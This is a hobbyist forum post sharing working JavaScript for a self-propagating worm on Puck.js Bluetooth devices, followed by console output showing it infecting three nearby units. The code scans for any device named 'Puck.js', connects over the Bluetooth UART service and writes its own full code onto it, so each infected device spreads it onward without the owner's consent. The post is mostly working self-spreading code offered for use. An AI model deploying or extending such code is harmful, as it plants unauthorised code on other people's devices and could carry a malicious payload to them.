self-propagating code

So this is it.
Thanks to a few hints from @Gordon my first self-propagating Puck.js code
(Kind of worm if you like)

Feedback and improvements welcome.

setSleepIndicator( LED3 );

function transfer(device, text, callback) {
  var char;
  var result = "";
  console.log( "connecting " + device.name );
  return device.gatt.connect().then(function(d) {
    device = d;
    console.log( "connected" );
    return d.getPrimaryService("6e400001-b5a3-f393-e0a9-e50e24dcca9e");
  }).then(function(s) {
    console.log( "service found" );
    return s.getCharacteristic("6e400002-b5a3-f393-e0a9-e50e24dcca9e");
  }).then(function(c) {
    char = c;
    console.log( "characteristic found, sending..." );
    function sender(resolve, reject) {
      if (text.length) {
        char.writeValue(text.substr(0,20)).then(function() {
          sender(resolve, reject);
        }).catch(reject);
        text = text.substr(20);
      } else  {
        console.log("finished");
        resolve();
      }
    }
    return new Promise( sender );
  }).then(function() {
    device.disconnect();
    if(callback) callback(true);
  }).catch(function() {
    console.log( "error" );
    if(callback) callback(false);
  });
}

function scan( callback ) {
  var result = [];
  NRF.findDevices(function(list) {
    for( var i = 0; i < list.length; i++ ) {
      var d = list[ i ];
      if( typeof d.name !== "undefined" && d.name.indexOf( "Puck.js" ) === 0 ) {
        console.log( "found " + d.name );
        result.push( d );
      }
    }
    callback( result );
  });
}

function spread() {
  var code = E.dumpStr();

  scan( function( queue ) {
    // recurse through queue
    function process() {
      if( queue.length ) {
          transfer( queue.pop(), code, function( result ) {
            console.log( "done" );
            setTimeout( process, 200 );
          });
      }
    }
    process();
  });
}

spread();

Output for 4 Pucks:

found Puck.js c9fc
found Puck.js f002
found Puck.js 38a4
connecting Puck.js 38a4
connected
service found
characteristic found, sending...
finished
done
connecting Puck.js f002
connected
service found
characteristic found, sending...
finished
done
connecting Puck.js c9fc
connected
service found
characteristic found, sending...
finished
done